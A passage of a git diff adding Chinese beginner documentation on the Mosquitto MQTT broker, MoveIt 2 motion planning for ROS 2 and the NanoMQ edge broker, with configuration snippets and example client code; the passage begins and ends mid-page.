固件、Node-RED 节点。 +- **Topic**:层级字符串,用 `/` 分隔,如 `sensor/kitchen/humidity`。Broker **不解析** topic 含义,只做字符串匹配路由。 + +### 2. 发布/订阅(Pub/Sub)vs 队列 + +MQTT **没有** RabbitMQ 意义上的「队列」概念(除非用共享订阅等扩展用法)。一条消息发布到 `factory/line1/speed` 后,**当前所有**匹配订阅都会收到一份拷贝;若当时没有订阅者,消息对该 topic 而言就「没人收」(除非设置了 retain 或持久会话 + QoS>0 的离线队列机制)。 + +### 3. QoS(Quality of Service):投递保证三档 + +| QoS | 名称 | 行为 | 典型场景 | +| --- | --- | --- | --- | +| 0 | 最多一次 | 发了就忘,可能丢 | 高频 telemetry、可容忍丢失 | +| 1 | 至少一次 | 有 ACK,可能重复 | 一般传感数据 | +| 2 | 恰好一次 | 四次握手,最慢最安全 | 计费、关键指令 | + +注意:**实际投递 QoS = min(发布 QoS, 订阅 QoS)**。客户端订阅 QoS 0 时,即使对方用 QoS 2 发布,你收到的仍是 QoS 0。 + +### 4. Topic 通配符:订阅时的模式匹配 + +只在**订阅**侧使用(发布 topic 必须是字面量): + +- `+`:匹配单层。`home/+/temp` 匹配 `home/kitchen/temp`,不匹配 `home/kitchen/dining/temp`。 +- `#`:匹配剩余所有层,**必须出现在末尾**。`home/#` 匹配 `home/a/b/c`。 + +### 5. Retained Message:新订阅者的「快照」 + +发布时带上 retain 标志,broker 会为该 topic **保留最后一条**消息。之后任何新订阅者连上并订阅该 topic,会**立即**收到这条 retained 消息,而不必等设备下次上报。适合「当前温度」「阀门开/关状态」这类低频更新但新人需要立刻知道的场景。 + +### 6. Clean Session / 持久会话(MQTT 3.1.1)与 Session Expiry(MQTT 5) + +客户端断线后,broker 是否为其缓存 QoS 1/2 未确认消息、是否记住订阅,取决于会话标志。MQTT 5 用 Session Expiry Interval 细化了超时行为。Mosquitto 对两者均支持。 + +### 7. 配置文件 `mosquitto.conf`:从「本机玩具」到「可上线」 + +不带 `-c` 启动时,Mosquitto 2.x 默认只监听 **loopback** 的 1883,且允许本机匿名访问——适合第一次冒烟测试。要接受局域网或公网设备,必须显式配置 **listener** 和 **认证**: + +```conf +# /etc/mosquitto/mosquitto.conf 片段 + +listener 1883 0.0.0.0 +allow_anonymous false +password_file /etc/mosquitto/passwd + +# 可选:按 topic 限制读写 +# acl_file /etc/mosquitto/acl + +# 持久化(重启后保留 retained 与部分状态) +persistence true +persistence_location /var/lib/mosquitto/ +``` + +创建用户: + +```bash +sudo mosquitto_passwd -c /etc/mosquitto/passwd sensor01 +# 按提示输入密码;-c 仅首次创建文件时使用,追加用户时去掉 -c +``` + +ACL 文件示例(每行:`topic [read|write|readwrite|deny] `): + +```conf +user sensor01 +topic write factory/line1/# + +user dashboard +topic read factory/# +``` + +### 8. 桥接(Bridge):broker 之间同步 topic + +大型部署常把边缘 Mosquitto 与云端 Mosquitto 用 **bridge** 连接,按 topic 模式单向或双向转发。配置块以 `connection ` 开头,内部用 `address`、`topic` 等指令定义远端 broker 与映射规则——适合「工厂边缘采集 → 总部汇总」拓扑。 + +### 9. 可观测性:`$SYS/` 主题 + +Mosquitto 发布 broker 自身指标到 `$SYS/broker/...` 层次,例如 `$SYS/broker/clients/connected`、`$SYS/broker/messages/received`。订阅 `$SYS/#` 可接入监控(注意 `$SYS` 不匹配单独的 `#` 订阅,需显式写 `$SYS/#`)。 + +## 快速上手 + +### 安装 + +| 平台 | 方式 | +| --- | --- | +| macOS | `brew install mosquitto` | +| Debian/Ubuntu | `apt install mosquitto mosquitto-clients` 或 Mosquitto PPA | +| Windows | 官网安装包 [mosquitto.org/download](https://mosquitto.org/download/) | +| Docker | `docker run -it -p 1883:1883 eclipse-mosquitto:2` | + +安装后包管理器通常会注册 systemd 服务;开发机也可前台启动: + +```bash +mosquitto -v +# 另开终端:订阅 +mosquitto_sub -t 'test/topic' -v +# 再开终端:发布 +mosquitto_pub -t 'test/topic' -m 'hello world' +``` + +`-v` 在 `sub` 端会打印 topic 名与 payload,便于确认路由是否正确。 + +## 代码示例 + +### 示例 1:命令行验证 QoS 与 retain + +终端 A——订阅 QoS 1,观察 retained 消息: + +```bash +mosquitto_sub -h localhost -t 'demo/status' -q 1 -v +``` + +终端 B——发布 retained 状态(新订阅者会立刻看到 `online`): + +```bash +mosquitto_pub -h localhost -t 'demo/status' -m 'online' -q 1 -r +``` + +再发一条非 retain 的普通消息: + +```bash +mosquitto_pub -h localhost -t 'demo/status' -m 'heartbeat-'$(date +%s) -q 1 +``` + +你会看到:后连上的订阅者先收到 retained 的 `online`,再收到后续实时 heartbeat。`-r` 即 retain 标志;`-q 1` 指定 QoS 1。 + +### 示例 2:Python 客户端(paho-mqtt) + +需要先安装:`pip install paho-mqtt` + +**subscriber.py**——订阅通配符并打印: + +```python +import paho.mqtt.client as mqtt + +def on_connect(client, userdata, flags, reason_code, properties): + print("connected:", reason_code) + client.subscribe("home/+/temperature", qos=1) + +def on_message(client, userdata, msg): + print(f"{msg.topic} => {msg.payload.decode()}") + +client = mqtt.Client(mqtt.CallbackAPIVersion.VERSION2) +client.on_connect = on_connect +client.on_message = on_message + +client.connect("localhost", 1883, keepalive=60) +client.loop_forever() +``` + +**publisher.py**——定时上报(另开终端运行): + +```python +import json +import time +import paho.mqtt.client as mqtt + +client = mqtt.Client(mqtt.CallbackAPIVersion.VERSION2) +client.connect("localhost", 1883, keepalive=60) +client.loop_start() + +rooms = ["kitchen", "bedroom", "balcony"] +for room in rooms: + payload = json.dumps({"c": 22.5, "ts": int(time.time())}) + topic = f"home/{room}/temperature" + client.publish(topic, payload, qos=1, retain=False) + print("published", topic) + time.sleep(0.5) + +client.loop_stop() +client.disconnect() +``` + +若 broker 启用了 `allow_anonymous false`,需在 `connect` 前调用 `client.username_pw_set("sensor01", "your_password")`。 + +### 示例 3:最小 TLS listener(生产方向) + +```conf +listener 8883 +cafile /etc/mosquitto/certs/ca.crt +certfile /etc/mosquitto/certs/server.crt +keyfile /etc/mosquitto/certs/server.key +require_certificate false +``` + +客户端连接时使用 `--cafile` 校验服务器证书。内网测试可用 `mosquitto-tls` 文档中的自签流程;公网务必用正规 CA 或私有 PKI。 + +## 典型应用场景 + +1. **智能家居**:Home Assistant、OpenHAB 默认集成 Mosquitto,灯、温湿度、开关统一走 MQTT topic。 +2. **工业网关**:边缘 Linux 盒子跑 Mosquitto,PLC/传感器 pub 到本地 topic,bridge 同步到云端时序库。 +3. **移动 App 推送链路**:后端 pub 到 `user/{id}/notify`,App 长连 sub,比 FCM 直连更可控(需自建保活与认证)。 +4. **车联网 telematics**:车辆终端 QoS 1 上报 GPS,服务端 sub `fleet/+/gps` 聚合。 +5. **开发与联调**:连 [test.mosquitto.org](https://test.mosquitto.org/) 公共 broker 快速验证协议,**勿传生产密钥**。 + +## 踩过的坑 + +1. **默认只监听 127.0.0.1**:Mosquitto 2.0 起安全默认值收紧,局域网设备连不上往往不是防火墙,而是没配 `listener 1883 0.0.0.0`。 +2. **匿名访问误开公网**:不带配置或 `allow_anonymous true` 暴露在公网,几小时内会被扫描滥用(转发垃圾 topic、当代理打内网)。公网必须密码 + ACL 或 TLS 客户端证书。 +3. **QoS 2 并非「业务恰好一次」**:QoS 2 只保证 **MQTT 传输层** 不重复,消费者业务仍要做幂等(自己写 DB unique key 等)。 +4. **retain 滥用**:对高频 telemetry 开 retain 会让新订阅者收到一条「过期的最后一帧」,误以为当前仍有效;retain 适合**状态类** topic,不适合**事件流**。 +5. **通配符订阅性能**:`#` 订阅整个树在大流量下 CPU 升高;按业务拆 topic 层级,监控用 `$SYS/#` 单独开只读账号。 +6. **MQTT 3.1.1 与 5.0 混部**:老固件连 3.1.1、新服务用 5.0 特性(如 topic alias)时要确认 broker 与库版本;Mosquitto 同时支持,但客户端能力不一致会导致「连上却订阅失败」。 +7. **配置文件改完不生效**:部分 listener 选项标注为 reload 时不生效,改 TLS 证书或 `max_qos` 后需 `systemctl restart mosquitto`,或用 `mosquitto --test-config -c /path/to/mosquitto.conf` 先校验语法(2.1+)。 + +## 与其他组件怎么配合 + +``` +[ESP32 / 传感器] ──MQTT──► [边缘 Mosquitto] ──bridge──► [云端 Mosquitto] + │ │ + ▼ ▼ + [Node-RED 规则] [Telegraf / 自研消费者] + │ + ▼ + [InfluxDB / PostgreSQL] +``` + +- **Home Assistant**:Add-on 一键装 Mosquitto,实体 state 与 MQTT discovery 自动映射。 +- **Telegraf**:`inputs.mqtt_consumer` 订阅 topic 写入 [[influxdb]] 或 Prometheus remote write 前级。 +- **Kubernetes**:Helm chart 或 StatefulSet 跑 Mosquitto,前面挂 LoadBalancer;注意 sticky session 与 TLS 终止位置。 +- **与 RabbitMQ 并存**:MQTT 设备走 Mosquitto,后端 AMQP 微服务走 RabbitMQ,中间用 bridge 或应用层双写——别指望一个协议解决所有集成。 + +## 学习路径建议 + +1. **第 1 天**:本机 `mosquitto` + `pub/sub`,理解 topic、QoS 0/1、retain。 +2. **第 2 天**:写 `mosquitto.conf`,`mosquitto_passwd` + ACL,局域网手机 MQTT 客户端工具连上。 +3. **第 3 天**:用 Python 或 Go `paho` 客户端写「一 pub 多 sub」,观察 QoS 1 断线重连。 +4. **第 4 天**:配置 TLS listener,读 [mosquitto-tls(7)](https://mosquitto.org/man/mosquitto-tls-7.html)。 +5. **第 5 天**:试 bridge 或连 test.mosquitto.org,读 `$SYS` 指标,对照 [MQTT 介绍](https://mosquitto.org/documentation/) 与 man page `mqtt(7)`。 + +## 参考资料 + +- 源码与 Quick start:[github.com/eclipse-mosquitto/mosquitto](https://github.com/eclipse-mosquitto/mosquitto) +- 官网与下载:[mosquitto.org](https://mosquitto.org/) +- Broker 手册:[mosquitto(8)](https://mosquitto.org/man/mosquitto-8.html) +- 配置参考:[mosquitto.conf(5)](https://mosquitto.org/man/mosquitto-conf-5.html) +- MQTT 概念:[mqtt(7)](https://mosquitto.org/man/mqtt-7.html) +- 认证方式概览:[Authentication methods](https://mosquitto.org/documentation/authentication-methods/) diff --git a/src/content/docs/projects/moveit2.md b/src/content/docs/projects/moveit2.md new file mode 100644 index 000000000..3dd1dab32 --- /dev/null +++ b/src/content/docs/projects/moveit2.md @@ -0,0 +1,357 @@ +--- +title: MoveIt 2 — 机械臂运动规划零基础入门 +来源: 'https://github.com/moveit/moveit2' +日期: 2026-06-13 +子分类: 嵌入式 +分类: 操作系统 +provenance: pipeline-v3 +--- + +## 日常类比:餐厅里的「路线规划员 + 避障导航」 + +想象你在一家开放式厨房餐厅里,要把一份菜从备餐台送到顾客桌上。你本人是 **机械臂**;厨房里的桌子、锅架、其他服务员是 **障碍物**;备餐台坐标是 **起点**,顾客桌面是 **终点**。 + +如果只靠直觉「伸手过去」,很可能: + +- 手肘撞到悬挂的锅铲(**自碰撞**); +- 托盘擦过路过的同事(**环境碰撞**); +- 动作太快导致汤洒出来(**未做速度/加速度约束**)。 + +这时你需要一位 **路线规划员(MoveIt 2)**:他手里有三样东西—— + +1. **机器人说明书(URDF + SRDF)**:你的关节能转多少度、哪几根手指算「手臂」、哪些部位不能碰。 +2. **厨房实时地图(Planning Scene)**:今天多摆了一张桌子?地图立刻更新。 +3. **多种导航策略(Planning Pipeline / Planner 插件)**:走最短关节路径、走直线末端轨迹、还是工业级 PTP/ LIN——按任务换算法。 + +MoveIt 2 就是 ROS 2 生态里这位「规划员 + 避障引擎」。官方仓库:[moveit/moveit2](https://github.com/moveit/moveit2);教程与概念说明见 [MoveIt 2 Documentation](https://moveit.picknik.ai/main/index.html) 与 [moveit2_tutorials](https://github.com/moveit/moveit2_tutorials)。 + +它和 [[ros2]] 的关系:MoveIt 2 不是替代 ROS 2,而是跑在 ROS 2 之上的 ** manipulation 框架**——用 Topic/Service/Action 暴露规划能力,用 RViz 插件可视化,用 colcon 工作空间编译安装。 + +--- + +## 解决什么问题 + +机械臂应用里反复出现四类难题: + +| 痛点 | 没有 MoveIt 时 | MoveIt 2 的回应 | +| --- | --- | --- | +| 逆运动学 + 路径搜索 | 每个项目手写 IK、采样、碰撞检测 | 统一 **Planning Pipeline**,可插 OMPL、Pilz、CHOMP 等 | +| 世界模型不一致 | 感知、规划、控制各用各的障碍物列表 | **Planning Scene** 作为单一世界表示 | +| 配置碎片化 | URDF、关节限位、控制器 YAML 散落各处 | **MoveIt Setup Assistant** 生成 `*_moveit_config` 包 | +| 接口复杂 | 直接调底层 planner API 门槛高 | **MoveGroupInterface**(C++)/ **moveit_py**(Python)封装常用操作 | + +MoveIt 2 要回答的核心问题是:**能否在 ROS 2 上,用同一套配置和 API,完成「设目标 → 规划无碰撞轨迹 → 执行 → 动态改环境」的完整 manipulation 闭环?** + +--- + +## 核心概念 + +### 1. 三层文件:URDF、SRDF、MoveIt Config + +``` +my_robot.urdf.xacro # 连杆、关节、碰撞几何(物理模型) +my_robot.srdf # 规划组、禁用碰撞对、预设姿态(语义模型) +my_robot_moveit_config/ # joint_limits.yaml, kinematics.yaml, ompl_planning.yaml … +``` + +- **URDF**:描述机器人长什么样、关节怎么连。 +- **SRDF(Semantic Robot Description Format)**:描述 MoveIt **怎么用** 这台机器人——例如 `panda_arm` 规划组包含哪 7 个关节、哪些相邻连杆可以忽略碰撞检查。 +- **MoveIt Config 包**:Setup Assistant 一键生成,launch 文件里会加载上述全部参数。 + +### 2. Planning Group(规划组 / JointModelGroup) + +MoveIt 不一次控制整台机器人所有关节,而是按任务划分 **规划组**。文档里 `panda_arm`、`hand` 都是常见组名。代码里只需指定组名: + +```cpp +static const std::string PLANNING_GROUP = "panda_arm"; +``` + +术语 **planning group** 与 **joint model group** 在官方文档中互换使用。 + +### 3. move_group 节点:集成入口 + +`move_group`(包名 `moveit_ros_move_group`)是 MoveIt 2 的 **中心 ROS 节点**。它: + +- 从参数服务器读取 URDF、SRDF、规划器配置; +- 通过 **Planning Scene Monitor** 维护当前世界状态; +- 把运动规划、运动学、Pick/Place 等能力做成 **可插拔插件**,对外提供 Action/Service。 + +大多数用户 **不直接改** move_group 插件,而是用 Setup Assistant 生成的 launch 启动它,再通过客户端接口调用。 + +### 4. Planning Scene(规划场景) + +Planning Scene = **机器人当前状态** + **环境中的碰撞物体** + **附着在机器人上的物体**。 + +- 加箱子、移桌子 → 更新场景后再规划,才能避障; +- 抓取后物体附着到末端 → 场景里物体跟随机器人运动。 + +Python 侧可通过 `PlanningSceneMonitor` 的 `read_write()` / `read_only()` 上下文安全读写场景。 + +### 5. Planning Pipeline(规划流水线) + +一次 `plan()` 不是单函数调用,而是流水线: + +``` +MotionPlanRequest + → Planning Request Adapters(预处理:修复起始状态、加时间参数化…) + → Planner Plugin(OMPL / Pilz / CHOMP …) + → Planning Response Adapters(后处理) + → RobotTrajectory +``` + +可在 YAML 里配置多个 pipeline 名称,甚至 **并行规划** 再选最优轨迹(moveit_py 的 Multi Pipeline 特性)。 + +### 6. 两类常用客户端 API + +| API | 语言 | 典型场景 | +| --- | --- | --- | +| `MoveGroupInterface` | C++ | 产线节点、低延迟控制 | +| `moveit_py`(`MoveItPy` + `PlanningComponent`) | Python | 原型验证、Jupyter、教学 | + +两者都通过 ROS 2 与 move_group / moveit_cpp 通信,不必自己拼装 OMPL 采样器。 + +### 7. 目标表示方式 + +| 方式 | 含义 | 适用 | +| --- | --- | --- | +| Pose Goal | 末端执行器位姿(位置+姿态) | 抓取、对准 | +| Joint Space Goal | 各关节角向量 | 已知关节配置、避奇异 | +| Named State | SRDF 里预设的 `ready`、`extended` | 快速回 home | +| Cartesian Path | 末端走直线/折线 | 插孔、涂胶 | +| Constraints | 路径约束(如保持工具竖直) | 倒液体、焊接 | + +--- + +## 安装与第一次运行 + +以下以 ROS 2 **Jazzy/Humble** 二进制安装为例(源码编译见 [MoveIt Getting Started](https://moveit.picknik.ai/main/doc/tutorials/getting_started/getting_started.html)): + +```bash +# 安装 MoveIt 2 与教程包(发行版名按本机为准) +sudo apt install ros-jazzy-moveit ros-jazzy-moveit-resources-panda-moveit-config ros-jazzy-moveit2-tutorials + +source /opt/ros/jazzy/setup.bash + +# 终端 1:启动 move_group + RViz(Franka Panda 演示) +ros2 launch moveit2_tutorials move_group.launch.py + +# 终端 2:运行 C++ 交互教程 +ros2 launch moveit2_tutorials move_group_interface_tutorial.launch.py +``` + +RViz 里可看到:规划到 Pose、关节空间目标、笛卡尔路径、添加碰撞盒并重新规划、attach/detach 物体等步骤。Python API 教程: + +```bash +ros2 launch moveit2_tutorials motion_planning_python_api_tutorial.launch.py +``` + +--- + +## 代码示例 1:C++ MoveGroupInterface — Pose 与关节空间规划 + +以下片段摘自官方 [Move Group C++ Interface](https://moveit.picknik.ai/main/doc/examples/move_group_interface/move_group_interface_tutorial.html) 教程核心逻辑,展示 **设目标 → plan →(可选)execute** 流程。 + +```cpp +#include +#include + +int main(int argc, char** argv) +{ + rclcpp::init(argc, argv); + auto move_group_node = rclcpp::Node::make_shared("move_group_interface_tutorial"); + + static const std::string PLANNING_GROUP = "panda_arm"; + moveit::planning_interface::MoveGroupInterface move_group(move_group_node, PLANNING_GROUP); + moveit::planning_interface::PlanningSceneInterface planning_scene_interface; + + // --- 1. 规划到末端位姿目标 --- + geometry_msgs::msg::Pose target_pose; + target_pose.orientation.w = 1.0; + target_pose.position.x = 0.28; + target_pose.position.y = -0.2; + target_pose.position.z = 0.5; + move_group.setPoseTarget(target_pose); + + moveit::planning_interface::MoveGroupInterface::Plan plan; + bool success = (move_group.plan(plan) == moveit::core::MoveItErrorCode::SUCCESS); + RCLCPP_INFO(rclcpp::get_logger("demo"), "Plan to pose: %s", success ? "OK" : "FAILED"); + + // --- 2. 改为关节空间目标 --- + moveit::core::RobotStatePtr current_state = move_group.getCurrentState(10); + const moveit::core::JointModelGroup* jmg = + current_state->getJointModelGroup(PLANNING_GROUP); + + std::vector joint_values; + current_state->copyJointGroupPositions(jmg, joint_values); + joint_values[0] = -1.0; // 弧度,修改第一关节 + move_group.setJointValueTarget(joint_values); + + move_group.setMaxVelocityScalingFactor(0.05); + move_group.setMaxAccelerationScalingFactor(0.05); + + success = (move_group.plan(plan) == moveit::core::MoveItErrorCode::SUCCESS); + RCLCPP_INFO(rclcpp::get_logger("demo"), "Plan to joint goal: %s", success ? "OK" : "FAILED"); + + // 真机执行时取消注释(需要 trajectory controller 已就绪) + // move_group.move(); + + rclcpp::shutdown(); + return 0; +} +``` + +要点: + +- `plan()` 只 **算轨迹**,默认不驱动真机;`move()` 会规划并执行(阻塞,依赖 controller)。 +- `setMaxVelocityScalingFactor` 把速度限制到关节上限的 5%,演示/调试时更安全。 +- `PlanningSceneInterface` 可在同程序里 `applyCollisionObject()` 往环境加障碍。 + +--- + +## 代码示例 2:Python moveit_py — 命名姿态与 Pose 目标 + +MoveIt 2 的 Python 绑定 **moveit_py** 适合快速实验。以下综合官方 [Motion Planning Python API](https://moveit.picknik.ai/main/doc/examples/motion_planning_python_api/motion_planning_python_api_tutorial.html) 教程写法: + +```python +#!/usr/bin/env python3 +import rclpy +from geometry_msgs.msg import PoseStamped +from moveit.planning import MoveItPy + + +def plan_and_execute(robot, planning_component, logger): + logger.info("Planning trajectory...") + plan_result = planning_component.plan() + if not plan_result: + logger.error("Planning failed") + return False + logger.info("Executing plan") + robot.execute(plan_result.trajectory, controllers=[]) + return True + + +def main(): + rclpy.init() + logger = rclpy.logging.get_logger("moveit2_zero_notes") + + panda = MoveItPy(node_name="moveit_py") + panda_arm = panda.get_planning_component("panda_arm") + logger.info("MoveItPy ready") + + # --- A. 用 SRDF 预设姿态:ready → extended --- + panda_arm.set_start_state(configuration_name="ready") + panda_arm.set_goal_state(configuration_name="extended") + plan_and_execute(panda, panda_arm, logger) + + # --- B. 用 PoseStamped 指定末端目标 --- + panda_arm.set_start_state_to_current_state() + pose_goal = PoseStamped() + pose_goal.header.frame_id = "panda_link0" + pose_goal.pose.orientation.w = 1.0 + pose_goal.pose.position.x = 0.28 + pose_goal.pose.position.y = -0.2 + pose_goal.pose.position.z = 0.5 + panda_arm.set_goal_state(pose_stamped_msg=pose_goal, pose_link="panda_link8") + plan_and_execute(panda, panda_arm, logger) + + rclpy.shutdown() + + +if __name__ == "__main__": + main() +``` + +在 Jupyter 或交互式环境里,还可以用 `MoveItConfigsBuilder` 显式加载 URDF/SRDF,再传入 `MoveItPy(config_dict=...)`——适合 **尚未** 启动标准 demo launch 的原型阶段。 + +向 Planning Scene 添加碰撞盒(避障规划前置步骤): + +```python +from shape_msgs.msg import SolidPrimitive +from geometry_msgs.msg import Pose +from moveit_msgs.msg import CollisionObject + +with planning_scene_monitor.read_write() as scene: + obj = CollisionObject() + obj.header.frame_id = "panda_link0" + obj.id = "box_on_table" + box = SolidPrimitive() + box.type = SolidPrimitive.BOX + box.dimensions = [0.1, 0.1, 0.4] # x, y, z + pose = Pose() + pose.position.x = 0.5 + pose.position.y = 0.0 + pose.position.z = 0.25 + obj.primitives.append(box) + obj.primitive_poses.append(pose) + obj.operation = CollisionObject.ADD + scene.apply_collision_object(obj) + scene.current_state.update() +``` + +--- + +## 为新机器人接入 MoveIt 2 的推荐路径 + +1. **准备 URDF/xacro**:连杆、关节限位、collision mesh 尽量准确。 +2. **运行 Setup Assistant**(`moveit_setup_assistant`):定义规划组、生成 SRDF、选规划器、配置 controllers。 +3. **Launch 验证**:`move_group` + RViz Motion Planning 插件,拖拽交互式 Marker 看能否规划。 +4. **接真机**:配置 `moveit_controllers.yaml` 与 `ros2_control` 轨迹控制器;先 `plan()` 可视化,再小比例速度 `execute()`。 +5. **上线感知(可选)**:深度相机点云 → Octomap / collision object 更新 Planning Scene。 + +官方概念文档 [move_group](https://github.com/moveit/moveit2_tutorials/blob/main/doc/concepts/move_group.rst) 对架构图和插件扩展有完整说明。 + +--- + +## 规划器怎么选(零基础速查) + +| 插件 | 特点 | 典型用途 | +| --- | --- | --- | +| OMPL(RRTConnect 等) | 采样规划,通用 | 研究、非结构化环境 | +| Pilz Industrial Motion Planner | PTP / LIN / CIRC,可预测 | 工业节拍、标准轨迹 | +| CHOMP / STOMP | 优化型 | 平滑轨迹、重复任务 | +| 笛卡尔路径 API | 直线插补 | 沿表面移动 | + +同一目标可配置 **Multi Pipeline** 并行规划,按路径长度、时间或自定义代价选最优解。 + +--- + +## 与相关项目的关系 + +- **[[ros2]]**:通信与构建底座;MoveIt 2 包用 ament/colcon 编译。 +- **ros2_control**:真机执行轨迹时,MoveIt 的 Trajectory Execution Manager 把 `RobotTrajectory` 发给 FollowJointTrajectory 等控制器。 +- **Gazebo / Isaac Sim**:仿真里发布 `/joint_states`,MoveIt 同样可规划;注意仿真与真机 URDF 一致。 +- **Nav2**:移动底盘 + 机械臂 = 「走到货架前(Nav2)+ 伸手抓取(MoveIt)」分层架构。 + +--- + +## 常见坑与调试建议 + +1. **Planning failed / 无解**:检查目标是否在关节限位外、是否 IK 无解、障碍物是否把目标包住;在 RViz 里打开 Planned Path 与 Collision 可视化。 +2. **plan 成功但 execute 不动**:controller 未配置或未 action server;用 `ros2 control list_controllers` 排查。 +3. **模型「穿模」**:URDF collision 过于简化,或 SRDF 里禁用了本该检查的 link 对。 +4. **速度过快**:默认 scaling factor often 0.1;真机先 0.05 或更低,在 `joint_limits.yaml` 设长期默认值。 +5. **Python 与 C++ 混用**:可以——move_group 节点一个,多个客户端同时连;注意 namespace 与 `robot_description` 参数一致。 + +调试工具:`ros2 topic echo /joint_states`、RViz MotionPlanning 面板、MoveIt Visual Tools 在 C++ demo 里逐步高亮轨迹。 + +--- + +## 学习路线建议 + +| 阶段 | 内容 | 资源 | +| --- | --- | --- | +| 第 1 天 | 跑通 Panda demo launch + RViz 拖拽规划 | moveit2_tutorials quickstart | +| 第 2–3 天 | 读 Move Group C++ / Python 教程,改目标 Pose | picknik.ai tutorials | +| 第 4–5 天 | Setup Assistant 为自己的 URDF 生成 config | MoveIt Setup Assistant 文档 | +| 第 2 周 | 加碰撞物体、attach 物体、接 ros2_control 仿真 | Planning Scene 教程 | +| 进阶 | Hybrid Planning、Servo 实时控制、Perception Pipeline | MoveIt 2 官方 Concepts | + +--- + +## 小结 + +MoveIt 2 把机械臂 motion planning 从「每个项目重造 IK + 碰撞 + 轨迹优化」变成 **可配置、可插件化、与 ROS 2 原生集成** 的标准栈。零基础记住这条主线即可: + +**URDF/SRDF 描述机器人 → Planning Scene 描述世界 → Planning Group 选定要动的关节 → 设 Pose/Joint/Named 目标 → plan 得到轨迹 → execute 交给控制器。** + +C++ 用 `MoveGroupInterface`,Python 用 `moveit_py`;真机前先在 RViz 里把碰撞和路径看清楚。官方源码与 issue 跟踪:[github.com/moveit/moveit2](https://github.com/moveit/moveit2)。 diff --git a/src/content/docs/projects/nanomq.md b/src/content/docs/projects/nanomq.md new file mode 100644 index 000000000..deb8fe9ee --- /dev/null +++ b/src/content/docs/projects/nanomq.md @@ -0,0 +1,313 @@ +--- +title: NanoMQ — 面向 IoT 边缘的超轻量 MQTT Broker +来源: 'https://github.com/nanomq/nanomq' +日期: '2026-06-13' +子分类: 嵌入式 +分类: 操作系统 +难度: '初级' +provenance: 'pipeline-v3' +--- + +## 是什么 + +**NanoMQ** 是 [nanomq/nanomq](https://github.com/nanomq/nanomq) 维护的开源 **MQTT 消息代理(broker)**,由 EMQ Edge Computing 团队开发,现为 **LF Edge** 孵化项目。它面向 **IoT / IIoT 边缘** 与 **软件定义汽车(SDV)** 场景:在资源有限的 ARM 网关、车载 ECU、工业边缘盒子上,用极小的内存 footprint 跑完整的 MQTT 5.0/3.1.1 服务,并附带桥接、规则引擎、Webhook、HTTP 管理 API 等「边缘消息平台」能力。 + +日常类比:**带多窗口的快递中转站**。 + +传统单线程 broker(例如经典 Mosquitto 模型)像只有一个收银台的小驿站——包裹(MQTT 消息)一多,所有人排队等同一个窗口,磁盘持久化时整个站还可能「暂停营业」。NanoMQ 则在站内建了 **多个并行窗口(Actor + 多线程)**:收发、解析 MQTT、写盘、转发云端各自有专职「岗位」,通过内部消息传递协作。设备仍然只认 **topic 名字**(像快递单上的分区码),不用知道谁在听;但中转站本身能在多核 CPU 上 **横向扩展吞吐**,弱网断线时还能 **先落库、后补发**。 + +与 [[mosquitto]] 的对比:两者都是 MQTT broker,Mosquitto 以 **简单、生态老、单进程单线程模型** 著称;NanoMQ 强调 **纯 C、POSIX 可移植、异步 I/O + SMP 多核**,官方 benchmark 称在多核上吞吐可达 Mosquitto 数倍量级,并内置 SQL 规则引擎、MQTT Bridge、离线缓存等边缘特性。若你只是树莓派上跑 Home Assistant 插件,Mosquitto 往往足够;若边缘要 **高并发 + 断网续传 + 边云桥接 + HTTP 运维**,NanoMQ 更对口。 + +与 [[nginx]] 不同:Nginx 终止 HTTP 请求;NanoMQ 维护 **长连接 MQTT 会话**,按 pub/sub 语义路由字节流,还可把 MQTT 桥到 QUIC、WebSocket、ZeroMQ 等。 + +## 解决什么问题 + +边缘侧常见矛盾:**设备多、带宽贵、网络抖、CPU 核数在涨,但内存仍只有几百 MB**。HTTP 轮询费电;单线程 broker 在持久化或桥接高峰时 latency 飙升。NanoMQ 的设计目标是把这些问题打包回答: + +| 痛点 | 没有合适 broker 时 | NanoMQ 的回应 | +| --- | --- | --- | +| 多核利用率低 | 单线程 broker CPU 只跑满一核 | 内置 Actor 任务层 + 可配置 `parallel` 工作上下文 | +| 弱网/断线丢数据 | 仅内存转发,断网即丢 | SQLite/文件持久化,恢复后自动续传 | +| 边缘只连 MQTT,云上要 EMQX | 手写同步程序 | 内置 **MQTT Bridge**(含 QUIC 桥可选编译) | +| 要在边缘过滤/transform | 另起服务消费再写回 | **SQL 规则引擎** + Webhook + 与 eKuiper 集成 | +| 运维要改配置、看状态 | 只能 SSH 改文件重启 | **HTTP REST API**、环境变量、Docker 友好 | +| 固件资源极小 | 重量级中间件装不进 | 最小特性集 footprint 可至 **200KB 级**(官方宣称) | + +核心问题:**如何在嵌入式 Linux / 车载网关里,用 MQTT 标准协议做高吞吐、可观测、可桥接边云的消息枢纽?** + +## 核心概念 + +### 1. Broker / Client / Topic:MQTT 三角(与标准一致) + +``` +Publisher ──publish──► NanoMQ Broker ──deliver──► Subscriber(s) + topic: factory/line1/temp subscribe: factory/+/temp +``` + +- **Broker**:`nanomq` 进程,默认 TCP **1883**(MQTT),常见还有 **8083**(WebSocket)、**8883**(TLS)。 +- **Client**:`nanomq_cli`、MQTTX、NanoSDK、Paho 等任意标准 MQTT 客户端。 +- **Topic**:层级字符串 `/` 分隔;broker 按订阅匹配转发,不解释业务含义。 + +### 2. 分层架构:从硬件到应用 + +官方架构可粗分为五层(便于理解代码与性能调优): + +| 层级 | 职责 | +| --- | --- | +| Platform adaptor | 适配 POSIX / 不同 OS·芯片,避免平台锁死 | +| Task Layer(Actor) | 线程级并行,把计算拆成 Actor,消息驱动调度 | +| Transport Layer | 管理 TCP/UDP 管道,**零拷贝** 降低内存 | +| Protocol Layer | 解析 MQTT 字节流、in-flight 窗口、MQTT 5 属性 | +| Application Layer | Topic trie、规则引擎、Webhook、与桥接交互 | + +底层基于 **NNG(nanomsg-next-generation)** 的异步 I/O;每个连接由 `nano_work` 状态机在 **INIT → RECV → WAIT → SEND** 间循环,由 `nng_aio` 回调驱动,避免阻塞式线程 per connection。 + +### 3. QoS、Retain、通配符 + +与 MQTT 标准相同,不再赘述细节,只记三条实用规则: + +- **QoS 0/1/2**:最多一次 / 至少一次 / 恰好一次;实际等级取 publish 与 subscribe 的 **较小值**。 +- **Retain**:适合「当前状态」topic(阀门开/关),不适合高频 telemetry 流。 +- **`+` / `#`**:仅用于订阅侧通配;`#` 必须在末尾。 + +### 4. MQTT Bridge:边缘到云的双向管道 + +Bridge 在配置里声明远端 broker(如 `mqtt-tcp://broker.emqx.io:1883`),并定义: + +- **forwards**:本地 